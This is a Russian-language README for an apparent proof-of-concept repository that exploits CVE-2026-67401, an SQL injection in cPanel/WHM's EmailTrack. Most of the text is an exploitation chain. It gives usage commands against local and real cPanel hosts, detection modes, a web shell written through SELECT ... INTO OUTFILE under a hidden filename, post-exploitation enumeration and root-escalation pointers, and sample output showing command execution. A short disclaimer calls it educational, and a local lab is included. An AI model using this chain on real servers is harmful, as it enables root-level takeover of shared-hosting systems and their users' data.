
Proof-of-concept и цепочка эксплуатации для CVE-2026-67401 — SQL-инъекции в EmailTrack cPanel/WHM, позволяющей произвольную запись файлов и RCE с правами root, с обнаружением SQLi и локальной лабораторией.
Proof-of-concept для CVE-2026-67401 — критической уязвимости SQL-инъекции в функциональности EmailTrack cPanel & WHM, которая позволяет аутентифицированному пользователю с привилегиями, связанными с почтой, записывать произвольные файлы и выполнять код с правами root.
Обнаружено: HiTechCloud VietNam by Pho Tue SoftWare Solutions JSC Раскрыто: 6 октября 2026 г. Компонент: EmailTrack (логирование / отслеживание доставки почты)
Уязвимы версии ниже исправленных сборок.
| Серия сборок cPanel | Исправленная версия |
|---|---|
| 11.110 | 11.110.0.143 |
| 11.134 | 11.134.0.55 |
| 11.136 | 11.136.0.39 |
| 11.138 | 11.138.0.4 |
| WP2 (11.138) | 11.138.1.9 |
Проверьте вашу версию с помощью:
cat /usr/local/cpanel/version
┌─────────────┐ ┌────────────┐ ┌─────────┐ ┌──────────┐
│ Auth as │ ───► │ SQLi in │ ───► │ INTO │ ───► │ RCE as │
│ cPanel user │ │ EmailTrack │ │ OUTFILE │ │ root │
│ (mail priv) │ │ API call │ │ (shell) │ │ │
└─────────────┘ └────────────┘ └─────────┘ └──────────┘
account в EmailTrack.SELECT ... INTO OUTFILE в public_html/.| Файл | Описание |
|---|---|
poc_sqli.py | Обнаружение SQL-инъекций: boolean-based, time-based и подсчёт столбцов через UNION |
poc_full_chain.py | Полная цепочка эксплуатации: SQLi → веб-шелл через INTO OUTFILE → RCE → рекомендации по получению root |
lab/vuln_server.py | Локальная симуляция уязвимого бэкенда EmailTrack (безопасная, самодостаточная) |
README.md | Этот документ |
Входящая в комплект лаборатория позволяет запустить и проверить всю цепочку без реального сервера cPanel.
Все команды выполняются из корня репозитория.
python3 lab/vuln_server.py 18123 lab/htdocs
alice / s3cr1tSLEEP(),
INTO OUTFILE и выполнение PHP веб-шелла.18123)lab/htdocs)Оставьте это запущенным в одном терминале и используйте второй терминал для PoC.
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode detect
| Аргумент | Описание |
|---|---|
-H, --host | Хост cPanel, например https://cp.example.com:2083 |
-u, --username | Учётная запись cPanel с почтовыми привилегиями |
-p, --password | Пароль учётной записи |
--param | Инъектируемый параметр (по умолчанию: account) |
--mode | detect (по умолчанию), boolean, timing, union или all |
--sleep | Длительность SLEEP() для временной проверки (по умолчанию: 3.0) |
--dump-version | Попытаться извлечь версию СУБД через UNION |
--insecure | Пропустить проверку TLS-сертификата |
Запустить конкретную проверку:
# UNION column count only
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode union
# Time-based only, 5-second delay
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode timing --sleep 5
CPANEL_USER=alice CPANEL_PASS='s3cr1t' \
python3 poc_full_chain.py http://127.0.0.1:18123 \
--shell-base http://127.0.0.1:18123
| Аргумент / Env | Описание |
|---|---|
host (позиционный) | Хост cPanel, или задайте env CPANEL_HOST |
CPANEL_USER | Учётная запись cPanel с почтовыми привилегиями |
CPANEL_PASS | Пароль учётной записи |
--shell-base | Базовый URL, обслуживающий public_html (где доступен веб-шелл) |
--insecure | Пропустить проверку TLS-сертификата |
--no-escalate | Остановиться после RCE; пропустить инструкции по повышению до root |
SHELL_NAME (env) | Имя файла веб-шелла (по умолчанию: .mail.cache.php) |
Этапы, выполняемые автоматически:
SELECT ... INTO OUTFILEid, whoami, перечисление SUID, …)whmapi1, cron, очередь задач)# Detection
python3 poc_sqli.py -H https://cp.example.com:2083 -u user -p 'pass' \
--insecure --mode detect
# Full chain (--shell-base is the account's web host, not the cPanel port)
CPANEL_USER=user CPANEL_PASS='pass' \
python3 poc_full_chain.py https://cp.example.com:2083 \
--shell-base https://cp.example.com --insecure
Примечание: параметр
--shell-baseпо умолчанию удаляет порт, используемый только в cPanel (2082/2083), из хоста. Если корневой каталог документа обслуживается на другом порту, укажите его явно.
Вывод, полученный на встроенной лабораторной среде:
CVE-2026-67401 cPanel/WHM EmailTrack SQLi -> File Write -> RCE
version 1.0
target: http://127.0.0.1:18123
user: alice
[+] authenticated
[1] confirming SQL injection in EmailTrack `account`
[+] boolean-based SQLi CONFIRMED
[+] time-based SQLi CONFIRMED (SLEEP(2) -> 6.0s)
[2] determining column count via UNION
[+] target query has 5 columns
[3] writing PHP web shell via SELECT ... INTO OUTFILE
[+] shell written -> /home/alice/public_html/.mail.cache.php
[4] executing commands through the web shell
[+] id -> uid=1000(x) gid=1000(x) ...
Выпущено в образовательных целях и для авторизованных исследований в области безопасности. Перед использованием см. Отказ от ответственности.